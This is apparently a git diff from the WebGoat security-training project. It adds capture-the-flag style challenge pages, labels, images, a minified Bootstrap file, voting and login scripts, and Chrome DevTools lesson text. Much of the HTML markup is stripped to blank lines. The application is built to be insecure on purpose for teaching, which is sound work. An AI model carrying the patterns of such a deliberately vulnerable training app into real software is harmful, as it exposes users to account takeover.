+
+ +
+
+ +
+ +
+
+
+
+
+ + diff --git a/src/main/resources/lessons/challenges/html/Challenge7.html b/src/main/resources/lessons/challenges/html/Challenge7.html new file mode 100644 index 000000000..dec4331b1 --- /dev/null +++ b/src/main/resources/lessons/challenges/html/Challenge7.html @@ -0,0 +1,81 @@ + + + + + + +
+
+
+
+
+
+
+
+
+
+

+

Forgot Password?

+

You can reset your password here.

+
+ +
+ +
+
+ + +
+
+
+ +
+
+

(c) 2017 WebGoat Cloud Platform

+
+ + +
+ +
+
+
+
+
+
+
+
+
+
+
+
+ +
+
+ +
+
+ +
+ +
+
+
+
+
+ + diff --git a/src/main/resources/lessons/challenges/html/Challenge8.html b/src/main/resources/lessons/challenges/html/Challenge8.html new file mode 100644 index 000000000..989977d2d --- /dev/null +++ b/src/main/resources/lessons/challenges/html/Challenge8.html @@ -0,0 +1,255 @@ + + + + +
+
+ + + +
+
+ +
+ +
+
+
+

Average user rating

+

4.3 + / 5 +

+ + + + + +
+
+
+

Rating breakdown

+
+
+
5 +
+
+
+
+
+ 5 +
+
+
+
0
+
+
+
+
4 +
+
+
+
+
+ 4 +
+
+
+
0
+
+
+
+
3 +
+
+
+
+
+ 4 +
+
+
+
0
+
+
+
+
2 +
+
+
+
+
+ 2 +
+
+
+
0
+
+
+
+
1 +
+
+ +
+
+
+ 4 +
+
+
+
0
+
+
+
+ +
+
+
+ +
+ Please login or register in order to vote (comments are disabled) +
+
+
+
+ + +
August 22, 2017
1 day ago
+
+
+
+ + + + + +
+
WebGoat rocks!
+
This is a great tool to learn about security + and have some fun with a couple challenges. +
+
+
+
+
+
+ + +
July 29, 2017
12 day ago
+
+
+
+ + + + + +
+
Nice
+
I liked it and learned a couple of things. + Still some bugs sometimes though. +
+
+
+
+
+
+ + +
January 27, 2017
100 days ago
+
+
+
+ + + + + +
+
WebGoat is great
+
WebGoat teaches you web security with some great + lessons +
+
+
+
+
+
+ +
+ +
+
+
+
+
+ +
+
+ +
+
+ +
+ +
+
+
+
+
+ + diff --git a/src/main/resources/lessons/challenges/i18n/WebGoatLabels.properties b/src/main/resources/lessons/challenges/i18n/WebGoatLabels.properties new file mode 100644 index 000000000..267502639 --- /dev/null +++ b/src/main/resources/lessons/challenges/i18n/WebGoatLabels.properties @@ -0,0 +1,27 @@ +challenge0.title=WebGoat Challenge +challenge1.title=Admin lost password +challenge2.title=Get it for free +challenge3.title=Photo comments +challenge5.title=Without password +challenge6.title=Creating a new account +challenge7.title=Admin password reset +challenge8.title=Without account +challenge9.title=Changing password +challenge.solved=Congratulations, you solved the challenge. Here is your flag: {0} +challenge.close=This is not the correct password for Larry, please try again. + +email.send=An e-mail has been send to {0} + +user.exists=User {0} already exists please try to register with a different username. +user.created=User {0} created, please proceed to the login page. +input.invalid=Input for user, email and/or password is empty or too long, please fill in all field and/or limit all fields to 30 characters. + +challenge.flag.correct=Congratulations you have solved the challenge!! +challenge.flag.incorrect=Sorry this is not the correct flag, please try again. + +ip.address.unknown=IP address unknown, e-mail has been sent. + + + +required4=Missing username or password, please specify both. +user.not.larry=Please try to log in as Larry not {0}. \ No newline at end of file diff --git a/src/main/resources/lessons/challenges/images/avatar1.png b/src/main/resources/lessons/challenges/images/avatar1.png new file mode 100644 index 000000000..4ea864f90 Binary files /dev/null and b/src/main/resources/lessons/challenges/images/avatar1.png differ diff --git a/src/main/resources/lessons/challenges/images/boss.jpg b/src/main/resources/lessons/challenges/images/boss.jpg new file mode 100644 index 000000000..3fcd1c36e Binary files /dev/null and b/src/main/resources/lessons/challenges/images/boss.jpg differ diff --git a/src/main/resources/lessons/challenges/images/challenge1-small.png b/src/main/resources/lessons/challenges/images/challenge1-small.png new file mode 100644 index 000000000..a4fbc3470 Binary files /dev/null and b/src/main/resources/lessons/challenges/images/challenge1-small.png differ diff --git a/src/main/resources/lessons/challenges/images/challenge1.png b/src/main/resources/lessons/challenges/images/challenge1.png new file mode 100644 index 000000000..0008ceb5e Binary files /dev/null and b/src/main/resources/lessons/challenges/images/challenge1.png differ diff --git a/src/main/resources/lessons/challenges/images/challenge2-small.png b/src/main/resources/lessons/challenges/images/challenge2-small.png new file mode 100644 index 000000000..777b5a093 Binary files /dev/null and b/src/main/resources/lessons/challenges/images/challenge2-small.png differ diff --git a/src/main/resources/lessons/challenges/images/challenge2.png b/src/main/resources/lessons/challenges/images/challenge2.png new file mode 100644 index 000000000..d1eadfefe Binary files /dev/null and b/src/main/resources/lessons/challenges/images/challenge2.png differ diff --git a/src/main/resources/lessons/challenges/images/challenge3-small.png b/src/main/resources/lessons/challenges/images/challenge3-small.png new file mode 100644 index 000000000..daf7f7ebb Binary files /dev/null and b/src/main/resources/lessons/challenges/images/challenge3-small.png differ diff --git a/src/main/resources/lessons/challenges/images/challenge3.png b/src/main/resources/lessons/challenges/images/challenge3.png new file mode 100644 index 000000000..b271d4ea1 Binary files /dev/null and b/src/main/resources/lessons/challenges/images/challenge3.png differ diff --git a/src/main/resources/lessons/challenges/images/challenge4-small.png b/src/main/resources/lessons/challenges/images/challenge4-small.png new file mode 100644 index 000000000..b9ddaa7e7 Binary files /dev/null and b/src/main/resources/lessons/challenges/images/challenge4-small.png differ diff --git a/src/main/resources/lessons/challenges/images/challenge4.png b/src/main/resources/lessons/challenges/images/challenge4.png new file mode 100644 index 000000000..cb5301ac9 Binary files /dev/null and b/src/main/resources/lessons/challenges/images/challenge4.png differ diff --git a/src/main/resources/lessons/challenges/images/challenge5-small.png b/src/main/resources/lessons/challenges/images/challenge5-small.png new file mode 100644 index 000000000..1aa84ab4c Binary files /dev/null and b/src/main/resources/lessons/challenges/images/challenge5-small.png differ diff --git a/src/main/resources/lessons/challenges/images/challenge5.png b/src/main/resources/lessons/challenges/images/challenge5.png new file mode 100644 index 000000000..e5d9a8108 Binary files /dev/null and b/src/main/resources/lessons/challenges/images/challenge5.png differ diff --git a/src/main/resources/lessons/challenges/images/hi-five-cat.jpg b/src/main/resources/lessons/challenges/images/hi-five-cat.jpg new file mode 100644 index 000000000..be29a5312 Binary files /dev/null and b/src/main/resources/lessons/challenges/images/hi-five-cat.jpg differ diff --git a/src/main/resources/lessons/challenges/images/user1.png b/src/main/resources/lessons/challenges/images/user1.png new file mode 100644 index 000000000..f608b046c Binary files /dev/null and b/src/main/resources/lessons/challenges/images/user1.png differ diff --git a/src/main/resources/lessons/challenges/images/user2.png b/src/main/resources/lessons/challenges/images/user2.png new file mode 100644 index 000000000..f34e841a9 Binary files /dev/null and b/src/main/resources/lessons/challenges/images/user2.png differ diff --git a/src/main/resources/lessons/challenges/images/user3.png b/src/main/resources/lessons/challenges/images/user3.png new file mode 100644 index 000000000..b5b18a54a Binary files /dev/null and b/src/main/resources/lessons/challenges/images/user3.png differ diff --git a/src/main/resources/lessons/challenges/images/webgoat2.png b/src/main/resources/lessons/challenges/images/webgoat2.png new file mode 100644 index 000000000..19b3f90f4 Binary files /dev/null and b/src/main/resources/lessons/challenges/images/webgoat2.png differ diff --git a/src/main/resources/lessons/challenges/js/bootstrap.min.js b/src/main/resources/lessons/challenges/js/bootstrap.min.js new file mode 100644 index 000000000..b04a0e82f --- /dev/null +++ b/src/main/resources/lessons/challenges/js/bootstrap.min.js @@ -0,0 +1,6 @@ +/*! + * Bootstrap v3.1.1 (http://getbootstrap.com) + * Copyright 2011-2014 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */ +if("undefined"==typeof jQuery)throw new Error("Bootstrap's JavaScript requires jQuery");+function(a){"use strict";function b(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var c in b)if(void 0!==a.style[c])return{end:b[c]};return!1}a.fn.emulateTransitionEnd=function(b){var c=!1,d=this;a(this).one(a.support.transition.end,function(){c=!0});var e=function(){c||a(d).trigger(a.support.transition.end)};return setTimeout(e,b),this},a(function(){a.support.transition=b()})}(jQuery),+function(a){"use strict";var b='[data-dismiss="alert"]',c=function(c){a(c).on("click",b,this.close)};c.prototype.close=function(b){function c(){f.trigger("closed.bs.alert").remove()}var d=a(this),e=d.attr("data-target");e||(e=d.attr("href"),e=e&&e.replace(/.*(?=#[^\s]*$)/,""));var f=a(e);b&&b.preventDefault(),f.length||(f=d.hasClass("alert")?d:d.parent()),f.trigger(b=a.Event("close.bs.alert")),b.isDefaultPrevented()||(f.removeClass("in"),a.support.transition&&f.hasClass("fade")?f.one(a.support.transition.end,c).emulateTransitionEnd(150):c())};var d=a.fn.alert;a.fn.alert=function(b){return this.each(function(){var d=a(this),e=d.data("bs.alert");e||d.data("bs.alert",e=new c(this)),"string"==typeof b&&e[b].call(d)})},a.fn.alert.Constructor=c,a.fn.alert.noConflict=function(){return a.fn.alert=d,this},a(document).on("click.bs.alert.data-api",b,c.prototype.close)}(jQuery),+function(a){"use strict";var b=function(c,d){this.$element=a(c),this.options=a.extend({},b.DEFAULTS,d),this.isLoading=!1};b.DEFAULTS={loadingText:"loading..."},b.prototype.setState=function(b){var c="disabled",d=this.$element,e=d.is("input")?"val":"html",f=d.data();b+="Text",f.resetText||d.data("resetText",d[e]()),d[e](f[b]||this.options[b]),setTimeout(a.proxy(function(){"loadingText"==b?(this.isLoading=!0,d.addClass(c).attr(c,c)):this.isLoading&&(this.isLoading=!1,d.removeClass(c).removeAttr(c))},this),0)},b.prototype.toggle=function(){var a=!0,b=this.$element.closest('[data-toggle="buttons"]');if(b.length){var c=this.$element.find("input");"radio"==c.prop("type")&&(c.prop("checked")&&this.$element.hasClass("active")?a=!1:b.find(".active").removeClass("active")),a&&c.prop("checked",!this.$element.hasClass("active")).trigger("change")}a&&this.$element.toggleClass("active")};var c=a.fn.button;a.fn.button=function(c){return this.each(function(){var d=a(this),e=d.data("bs.button"),f="object"==typeof c&&c;e||d.data("bs.button",e=new b(this,f)),"toggle"==c?e.toggle():c&&e.setState(c)})},a.fn.button.Constructor=b,a.fn.button.noConflict=function(){return a.fn.button=c,this},a(document).on("click.bs.button.data-api","[data-toggle^=button]",function(b){var c=a(b.target);c.hasClass("btn")||(c=c.closest(".btn")),c.button("toggle"),b.preventDefault()})}(jQuery),+function(a){"use strict";var b=function(b,c){this.$element=a(b),this.$indicators=this.$element.find(".carousel-indicators"),this.options=c,this.paused=this.sliding=this.interval=this.$active=this.$items=null,"hover"==this.options.pause&&this.$element.on("mouseenter",a.proxy(this.pause,this)).on("mouseleave",a.proxy(this.cycle,this))};b.DEFAULTS={interval:5e3,pause:"hover",wrap:!0},b.prototype.cycle=function(b){return b||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(a.proxy(this.next,this),this.options.interval)),this},b.prototype.getActiveIndex=function(){return this.$active=this.$element.find(".item.active"),this.$items=this.$active.parent().children(),this.$items.index(this.$active)},b.prototype.to=function(b){var c=this,d=this.getActiveIndex();return b>this.$items.length-1||0>b?void 0:this.sliding?this.$element.one("slid.bs.carousel",function(){c.to(b)}):d==b?this.pause().cycle():this.slide(b>d?"next":"prev",a(this.$items[b]))},b.prototype.pause=function(b){return b||(this.paused=!0),this.$element.find(".next, .prev").length&&a.support.transition&&(this.$element.trigger(a.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},b.prototype.next=function(){return this.sliding?void 0:this.slide("next")},b.prototype.prev=function(){return this.sliding?void 0:this.slide("prev")},b.prototype.slide=function(b,c){var d=this.$element.find(".item.active"),e=c||d[b](),f=this.interval,g="next"==b?"left":"right",h="next"==b?"first":"last",i=this;if(!e.length){if(!this.options.wrap)return;e=this.$element.find(".item")[h]()}if(e.hasClass("active"))return this.sliding=!1;var j=a.Event("slide.bs.carousel",{relatedTarget:e[0],direction:g});return this.$element.trigger(j),j.isDefaultPrevented()?void 0:(this.sliding=!0,f&&this.pause(),this.$indicators.length&&(this.$indicators.find(".active").removeClass("active"),this.$element.one("slid.bs.carousel",function(){var b=a(i.$indicators.children()[i.getActiveIndex()]);b&&b.addClass("active")})),a.support.transition&&this.$element.hasClass("slide")?(e.addClass(b),e[0].offsetWidth,d.addClass(g),e.addClass(g),d.one(a.support.transition.end,function(){e.removeClass([b,g].join(" ")).addClass("active"),d.removeClass(["active",g].join(" ")),i.sliding=!1,setTimeout(function(){i.$element.trigger("slid.bs.carousel")},0)}).emulateTransitionEnd(1e3*d.css("transition-duration").slice(0,-1))):(d.removeClass("active"),e.addClass("active"),this.sliding=!1,this.$element.trigger("slid.bs.carousel")),f&&this.cycle(),this)};var c=a.fn.carousel;a.fn.carousel=function(c){return this.each(function(){var d=a(this),e=d.data("bs.carousel"),f=a.extend({},b.DEFAULTS,d.data(),"object"==typeof c&&c),g="string"==typeof c?c:f.slide;e||d.data("bs.carousel",e=new b(this,f)),"number"==typeof c?e.to(c):g?e[g]():f.interval&&e.pause().cycle()})},a.fn.carousel.Constructor=b,a.fn.carousel.noConflict=function(){return a.fn.carousel=c,this},a(document).on("click.bs.carousel.data-api","[data-slide], [data-slide-to]",function(b){var c,d=a(this),e=a(d.attr("data-target")||(c=d.attr("href"))&&c.replace(/.*(?=#[^\s]+$)/,"")),f=a.extend({},e.data(),d.data()),g=d.attr("data-slide-to");g&&(f.interval=!1),e.carousel(f),(g=d.attr("data-slide-to"))&&e.data("bs.carousel").to(g),b.preventDefault()}),a(window).on("load",function(){a('[data-ride="carousel"]').each(function(){var b=a(this);b.carousel(b.data())})})}(jQuery),+function(a){"use strict";var b=function(c,d){this.$element=a(c),this.options=a.extend({},b.DEFAULTS,d),this.transitioning=null,this.options.parent&&(this.$parent=a(this.options.parent)),this.options.toggle&&this.toggle()};b.DEFAULTS={toggle:!0},b.prototype.dimension=function(){var a=this.$element.hasClass("width");return a?"width":"height"},b.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass("in")){var b=a.Event("show.bs.collapse");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.$parent&&this.$parent.find("> .panel > .in");if(c&&c.length){var d=c.data("bs.collapse");if(d&&d.transitioning)return;c.collapse("hide"),d||c.data("bs.collapse",null)}var e=this.dimension();this.$element.removeClass("collapse").addClass("collapsing")[e](0),this.transitioning=1;var f=function(){this.$element.removeClass("collapsing").addClass("collapse in")[e]("auto"),this.transitioning=0,this.$element.trigger("shown.bs.collapse")};if(!a.support.transition)return f.call(this);var g=a.camelCase(["scroll",e].join("-"));this.$element.one(a.support.transition.end,a.proxy(f,this)).emulateTransitionEnd(350)[e](this.$element[0][g])}}},b.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var b=a.Event("hide.bs.collapse");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.dimension();this.$element[c](this.$element[c]())[0].offsetHeight,this.$element.addClass("collapsing").removeClass("collapse").removeClass("in"),this.transitioning=1;var d=function(){this.transitioning=0,this.$element.trigger("hidden.bs.collapse").removeClass("collapsing").addClass("collapse")};return a.support.transition?void this.$element[c](0).one(a.support.transition.end,a.proxy(d,this)).emulateTransitionEnd(350):d.call(this)}}},b.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()};var c=a.fn.collapse;a.fn.collapse=function(c){return this.each(function(){var d=a(this),e=d.data("bs.collapse"),f=a.extend({},b.DEFAULTS,d.data(),"object"==typeof c&&c);!e&&f.toggle&&"show"==c&&(c=!c),e||d.data("bs.collapse",e=new b(this,f)),"string"==typeof c&&e[c]()})},a.fn.collapse.Constructor=b,a.fn.collapse.noConflict=function(){return a.fn.collapse=c,this},a(document).on("click.bs.collapse.data-api","[data-toggle=collapse]",function(b){var c,d=a(this),e=d.attr("data-target")||b.preventDefault()||(c=d.attr("href"))&&c.replace(/.*(?=#[^\s]+$)/,""),f=a(e),g=f.data("bs.collapse"),h=g?"toggle":d.data(),i=d.attr("data-parent"),j=i&&a(i);g&&g.transitioning||(j&&j.find('[data-toggle=collapse][data-parent="'+i+'"]').not(d).addClass("collapsed"),d[f.hasClass("in")?"addClass":"removeClass"]("collapsed")),f.collapse(h)})}(jQuery),+function(a){"use strict";function b(b){a(d).remove(),a(e).each(function(){var d=c(a(this)),e={relatedTarget:this};d.hasClass("open")&&(d.trigger(b=a.Event("hide.bs.dropdown",e)),b.isDefaultPrevented()||d.removeClass("open").trigger("hidden.bs.dropdown",e))})}function c(b){var c=b.attr("data-target");c||(c=b.attr("href"),c=c&&/#[A-Za-z]/.test(c)&&c.replace(/.*(?=#[^\s]*$)/,""));var d=c&&a(c);return d&&d.length?d:b.parent()}var d=".dropdown-backdrop",e="[data-toggle=dropdown]",f=function(b){a(b).on("click.bs.dropdown",this.toggle)};f.prototype.toggle=function(d){var e=a(this);if(!e.is(".disabled, :disabled")){var f=c(e),g=f.hasClass("open");if(b(),!g){"ontouchstart"in document.documentElement&&!f.closest(".navbar-nav").length&&a(''}),b.prototype=a.extend({},a.fn.tooltip.Constructor.prototype),b.prototype.constructor=b,b.prototype.getDefaults=function(){return b.DEFAULTS},b.prototype.setContent=function(){var a=this.tip(),b=this.getTitle(),c=this.getContent();a.find(".popover-title")[this.options.html?"html":"text"](b),a.find(".popover-content")[this.options.html?"string"==typeof c?"html":"append":"text"](c),a.removeClass("fade top bottom left right in"),a.find(".popover-title").html()||a.find(".popover-title").hide()},b.prototype.hasContent=function(){return this.getTitle()||this.getContent()},b.prototype.getContent=function(){var a=this.$element,b=this.options;return a.attr("data-content")||("function"==typeof b.content?b.content.call(a[0]):b.content)},b.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".arrow")},b.prototype.tip=function(){return this.$tip||(this.$tip=a(this.options.template)),this.$tip};var c=a.fn.popover;a.fn.popover=function(c){return this.each(function(){var d=a(this),e=d.data("bs.popover"),f="object"==typeof c&&c;(e||"destroy"!=c)&&(e||d.data("bs.popover",e=new b(this,f)),"string"==typeof c&&e[c]())})},a.fn.popover.Constructor=b,a.fn.popover.noConflict=function(){return a.fn.popover=c,this}}(jQuery),+function(a){"use strict";function b(c,d){var e,f=a.proxy(this.process,this);this.$element=a(a(c).is("body")?window:c),this.$body=a("body"),this.$scrollElement=this.$element.on("scroll.bs.scroll-spy.data-api",f),this.options=a.extend({},b.DEFAULTS,d),this.selector=(this.options.target||(e=a(c).attr("href"))&&e.replace(/.*(?=#[^\s]+$)/,"")||"")+" .nav li > a",this.offsets=a([]),this.targets=a([]),this.activeTarget=null,this.refresh(),this.process()}b.DEFAULTS={offset:10},b.prototype.refresh=function(){var b=this.$element[0]==window?"offset":"position";this.offsets=a([]),this.targets=a([]);{var c=this;this.$body.find(this.selector).map(function(){var d=a(this),e=d.data("target")||d.attr("href"),f=/^#./.test(e)&&a(e);return f&&f.length&&f.is(":visible")&&[[f[b]().top+(!a.isWindow(c.$scrollElement.get(0))&&c.$scrollElement.scrollTop()),e]]||null}).sort(function(a,b){return a[0]-b[0]}).each(function(){c.offsets.push(this[0]),c.targets.push(this[1])})}},b.prototype.process=function(){var a,b=this.$scrollElement.scrollTop()+this.options.offset,c=this.$scrollElement[0].scrollHeight||this.$body[0].scrollHeight,d=c-this.$scrollElement.height(),e=this.offsets,f=this.targets,g=this.activeTarget;if(b>=d)return g!=(a=f.last()[0])&&this.activate(a);if(g&&b<=e[0])return g!=(a=f[0])&&this.activate(a);for(a=e.length;a--;)g!=f[a]&&b>=e[a]&&(!e[a+1]||b<=e[a+1])&&this.activate(f[a])},b.prototype.activate=function(b){this.activeTarget=b,a(this.selector).parentsUntil(this.options.target,".active").removeClass("active");var c=this.selector+'[data-target="'+b+'"],'+this.selector+'[href="'+b+'"]',d=a(c).parents("li").addClass("active");d.parent(".dropdown-menu").length&&(d=d.closest("li.dropdown").addClass("active")),d.trigger("activate.bs.scrollspy")};var c=a.fn.scrollspy;a.fn.scrollspy=function(c){return this.each(function(){var d=a(this),e=d.data("bs.scrollspy"),f="object"==typeof c&&c;e||d.data("bs.scrollspy",e=new b(this,f)),"string"==typeof c&&e[c]()})},a.fn.scrollspy.Constructor=b,a.fn.scrollspy.noConflict=function(){return a.fn.scrollspy=c,this},a(window).on("load",function(){a('[data-spy="scroll"]').each(function(){var b=a(this);b.scrollspy(b.data())})})}(jQuery),+function(a){"use strict";var b=function(b){this.element=a(b)};b.prototype.show=function(){var b=this.element,c=b.closest("ul:not(.dropdown-menu)"),d=b.data("target");if(d||(d=b.attr("href"),d=d&&d.replace(/.*(?=#[^\s]*$)/,"")),!b.parent("li").hasClass("active")){var e=c.find(".active:last a")[0],f=a.Event("show.bs.tab",{relatedTarget:e});if(b.trigger(f),!f.isDefaultPrevented()){var g=a(d);this.activate(b.parent("li"),c),this.activate(g,g.parent(),function(){b.trigger({type:"shown.bs.tab",relatedTarget:e})})}}},b.prototype.activate=function(b,c,d){function e(){f.removeClass("active").find("> .dropdown-menu > .active").removeClass("active"),b.addClass("active"),g?(b[0].offsetWidth,b.addClass("in")):b.removeClass("fade"),b.parent(".dropdown-menu")&&b.closest("li.dropdown").addClass("active"),d&&d()}var f=c.find("> .active"),g=d&&a.support.transition&&f.hasClass("fade");g?f.one(a.support.transition.end,e).emulateTransitionEnd(150):e(),f.removeClass("in")};var c=a.fn.tab;a.fn.tab=function(c){return this.each(function(){var d=a(this),e=d.data("bs.tab");e||d.data("bs.tab",e=new b(this)),"string"==typeof c&&e[c]()})},a.fn.tab.Constructor=b,a.fn.tab.noConflict=function(){return a.fn.tab=c,this},a(document).on("click.bs.tab.data-api",'[data-toggle="tab"], [data-toggle="pill"]',function(b){b.preventDefault(),a(this).tab("show")})}(jQuery),+function(a){"use strict";var b=function(c,d){this.options=a.extend({},b.DEFAULTS,d),this.$window=a(window).on("scroll.bs.affix.data-api",a.proxy(this.checkPosition,this)).on("click.bs.affix.data-api",a.proxy(this.checkPositionWithEventLoop,this)),this.$element=a(c),this.affixed=this.unpin=this.pinnedOffset=null,this.checkPosition()};b.RESET="affix affix-top affix-bottom",b.DEFAULTS={offset:0},b.prototype.getPinnedOffset=function(){if(this.pinnedOffset)return this.pinnedOffset;this.$element.removeClass(b.RESET).addClass("affix");var a=this.$window.scrollTop(),c=this.$element.offset();return this.pinnedOffset=c.top-a},b.prototype.checkPositionWithEventLoop=function(){setTimeout(a.proxy(this.checkPosition,this),1)},b.prototype.checkPosition=function(){if(this.$element.is(":visible")){var c=a(document).height(),d=this.$window.scrollTop(),e=this.$element.offset(),f=this.options.offset,g=f.top,h=f.bottom;"top"==this.affixed&&(e.top+=d),"object"!=typeof f&&(h=g=f),"function"==typeof g&&(g=f.top(this.$element)),"function"==typeof h&&(h=f.bottom(this.$element));var i=null!=this.unpin&&d+this.unpin<=e.top?!1:null!=h&&e.top+this.$element.height()>=c-h?"bottom":null!=g&&g>=d?"top":!1;if(this.affixed!==i){this.unpin&&this.$element.css("top","");var j="affix"+(i?"-"+i:""),k=a.Event(j+".bs.affix");this.$element.trigger(k),k.isDefaultPrevented()||(this.affixed=i,this.unpin="bottom"==i?this.getPinnedOffset():null,this.$element.removeClass(b.RESET).addClass(j).trigger(a.Event(j.replace("affix","affixed"))),"bottom"==i&&this.$element.offset({top:c-h-this.$element.height()}))}}};var c=a.fn.affix;a.fn.affix=function(c){return this.each(function(){var d=a(this),e=d.data("bs.affix"),f="object"==typeof c&&c;e||d.data("bs.affix",e=new b(this,f)),"string"==typeof c&&e[c]()})},a.fn.affix.Constructor=b,a.fn.affix.noConflict=function(){return a.fn.affix=c,this},a(window).on("load",function(){a('[data-spy="affix"]').each(function(){var b=a(this),c=b.data();c.offset=c.offset||{},c.offsetBottom&&(c.offset.bottom=c.offsetBottom),c.offsetTop&&(c.offset.top=c.offsetTop),b.affix(c)})})}(jQuery); \ No newline at end of file diff --git a/src/main/resources/lessons/challenges/js/challenge6.js b/src/main/resources/lessons/challenges/js/challenge6.js new file mode 100644 index 000000000..9107e1176 --- /dev/null +++ b/src/main/resources/lessons/challenges/js/challenge6.js @@ -0,0 +1,18 @@ +$(function() { + + $('#login-form-link').click(function(e) { + $("#login-form").delay(100).fadeIn(100); + $("#register-form").fadeOut(100); + $('#register-form-link').removeClass('active'); + $(this).addClass('active'); + e.preventDefault(); + }); + $('#register-form-link').click(function(e) { + $("#register-form").delay(100).fadeIn(100); + $("#login-form").fadeOut(100); + $('#login-form-link').removeClass('active'); + $(this).addClass('active'); + e.preventDefault(); + }); + +}); \ No newline at end of file diff --git a/src/main/resources/lessons/challenges/js/challenge8.js b/src/main/resources/lessons/challenges/js/challenge8.js new file mode 100644 index 000000000..453ea0f53 --- /dev/null +++ b/src/main/resources/lessons/challenges/js/challenge8.js @@ -0,0 +1,57 @@ +$(document).ready(function () { + loadVotes(); + average(); +}) + +function loadVotes() { + $.get("challenge/8/votes/", function (votes) { + var totalVotes = 0; + for (var i = 1; i <= 5; i++) { + totalVotes = totalVotes + votes[i]; + } + console.log(totalVotes); + for (var i = 1; i <= 5; i++) { + var percent = votes[i] * 100 / totalVotes; + console.log(percent); + var progressBar = $('#progressBar' + i); + progressBar.width(Math.round(percent) * 2 + '%'); + $("#nrOfVotes" + i).html(votes[i]); + + } + } + ); +} + +function average() { + $.get("challenge/8/votes/average", function (average) { + for (var i = 1; i <= 5; i++) { + var number = average["average"]; + $("#star" + i).removeClass('btn-warning'); + $("#star" + i).removeClass('btn-default'); + $("#star" + i).removeClass('btn-grey'); + + if (i <= number) { + $("#star" + i).addClass('btn-warning'); + } else { + $("#star" + i).addClass('btn-grey'); + } + } + } + ); +} + + +function doVote(stars) { + $("#voteResultMsg").hide(); + $.get("challenge/8/vote/" + stars, function (result) { + if (result["error"]) { + $("#voteResultMsg").addClass('alert-danger alert-dismissable'); + } else { + $("#voteResultMsg").addClass('alert-success alert-dismissable'); + } + $("#voteResultMsg").html(result["message"]); + $("#voteResultMsg").show(); + }) + loadVotes(); + average(); +} \ No newline at end of file diff --git a/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_Assignment.adoc b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_Assignment.adoc new file mode 100644 index 000000000..a1d8803e1 --- /dev/null +++ b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_Assignment.adoc @@ -0,0 +1,8 @@ +== Try It! Using the console + +Let us try it. Use the console in the dev tools and call the javascript function *webgoat.customjs.phoneHome()*. + +You should get a response in the console. Your result should look something like this: +`phone home said +{"lessonCompleted:true, ... ,"output":"phone home response is..."` +Paste the random number, after that, in the text field below. +(Make sure you got the most recent number since it is randomly generated each time you call the function) diff --git a/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_Assignment_Network.adoc b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_Assignment_Network.adoc new file mode 100644 index 000000000..29e1324c4 --- /dev/null +++ b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_Assignment_Network.adoc @@ -0,0 +1,6 @@ +== Try It! Working with the Network tab + +In this assignment, you need to find a specific HTTP request and read a randomized number. +To start, click the first button. This will generate an HTTP request. Try to find the specific HTTP request. +The request should contain a field: `networkNum:` +Copy the number displayed afterward into the input field below and click on the check button. diff --git a/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_console.adoc b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_console.adoc new file mode 100644 index 000000000..0780ef6bb --- /dev/null +++ b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_console.adoc @@ -0,0 +1,17 @@ +== The Console tab + +In the console tab, you can see anything that a loaded JavaScript file may have printed out. +Do not worry if you see something in red. While that is an error, it has probably resolved itself. +Through the console tab, it is also possible for you to run your line of JavaScript code. + +Start by clearing the console using the shortcut `CTRL+L.` + +To run your JavaScript, click inside of the console and write something like: +`console.log("Hello WebGoat!");` Hit enter. `Hello WebGoat` should now appear in your console. +The console also allows you to do some basic arithmetic. If you type, for example, `1+3` and hit +enter, the console should display 4. + +Note: You may see an `undefined` in the console. You can safely ignore this statement, +it only means that the JavaScript function you have called did not return anything, therefore `undefined.` + +image::images/ChromeDev_Console_Ex.jpg[DeveloperToolsConsoleExample,500,500,style="lesson-image"] diff --git a/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_elements.adoc b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_elements.adoc new file mode 100644 index 000000000..18477e950 --- /dev/null +++ b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_elements.adoc @@ -0,0 +1,22 @@ +== The Elements Tab + +The elements tab allows you to look at the HTML and CSS code used to define and style the website. + +=== HTML source + +If you hover over one line, you can see that a part of the website turns blue. That means that +this particular HTML line defines this section of the website. +The elements tab allows you to make changes to every single HTML element. For example, if you click inside +a paragraph (

...

) Tag, you can edit the content of the website. If you have made your changes and then click enter +Chrome will update the website to show your edits. You can also change the HTML Tag used, +the classes and id's a tag has, and much more. + +image::images/ChromeDev_Elements.jpg[DeveloperToolsElements,500,350,style="lesson-image"] + +=== CSS source + +You can find information about the CSS used to style the +website under the HTML source. Like the HTML, you can also edit the CSS and, therefore, adjust the website's styling. +You can edit specific values or turn off individual styling. + +image::images/ChromeDev_Elements_CSS.jpg[DeveloperToolsElementsCSS,500,350,style="lesson-image"] diff --git a/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_intro.adoc b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_intro.adoc new file mode 100644 index 000000000..2689a0440 --- /dev/null +++ b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_intro.adoc @@ -0,0 +1,19 @@ +== Google Chrome Developer Tools + +To complete certain assignments, you sometimes may have to look at the JavaScript +source code or run a JavaScript command on your own. +To do that, Google Chrome has a set of tools that allow you to do that and much more. +While these tools are not specific to Google Chrome, almost every modern browser has a bunch +of its own. Our introduction will focus on the ones found in Google 